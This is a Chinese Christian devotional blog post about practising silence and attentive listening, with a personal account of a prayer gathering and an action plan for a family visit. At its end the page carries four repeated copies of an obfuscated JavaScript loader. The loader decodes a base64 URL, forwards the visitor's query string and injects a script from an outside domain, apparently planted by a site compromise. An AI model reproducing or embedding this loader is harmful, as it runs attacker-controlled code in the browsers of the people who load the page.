80拆页主题： 操练安静倾听

作者：亚亚

【R】P140－142

【I】

WHAT

书上说：多言多语难免有过，禁止嘴唇便是智慧。这智慧可以操练习得，就是操练静默，对话中少言，内里安静，給祂给别人给自己留出空白，倾听祂也倾听别人怎么说。

WHY

操练静默

首先可帮助我们有更多倾听的机会

其次让祂借着别人对我们说话

第三帮助我们三思而后言，等候倾听祂的声音，知道该说哪些话。

不然，缺少静默的倾听，容易产生对话壁垒、言语和思想暴力、沟通障碍。

HOW

首先，开口说话前，深呼吸一口气，在呼吸的同时寻求引导。

第二，注意力集中在对方的身上，不要急着言语回应，估计对方的感受。

第三，专注在话题上，尊重对方，尊重祂，留足空白。

WHERE

适用在友善的关系，辩论的关系，专业讨论和小组谈话中。

【A1】

我的验

今天上午两个妹一起举手。三人的举手停了有大半年了，这是决定恢复以后的第一次，有点没方向，我心里默求了一下，有了一个方向，就是个人的重担。以这个为引子，两个姐妹开始敞开诉说最近的重担、困难和生活的进展，既有问题的呈现，也有彼此的扶持和平衡，最后大家信心和力量都被坚固，深感祂始终同在且运行，成就合一的关系和身体。这个过程我说话比较少，抓住时机，桥接总结，特别感恩。

反思：

1、合一的关系需要祂的粘合和预备。

2、我对谈话的认识和悟性被更新了，我以前是压倒式的教导型，不断被学习和更新以后，看到自己的粗暴，最后谦卑下来，认罪悔改，祂教导我少说多听，还要听对会领受。通过今天的成果，让我看到祂的工作和荣耀，顺服真的很蒙福。

【A2】

目标：

明天在姐姐家收拾房子时，多倾听姐姐的声音，少说自己的经验和观点，倾听的时候心里多跟祂对话，带领我说祂让我说的话。

行动计划：

1、去之前先有一个静默和举手，预备好自己的心，让祂得荣耀。

2、跟姐一起收拾的时候多鼓励多安慰，注意力集中在她和家庭上，不说别人的事

3、多听她说，心里向祂祈求带领，带出合他心意的对话。 (function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();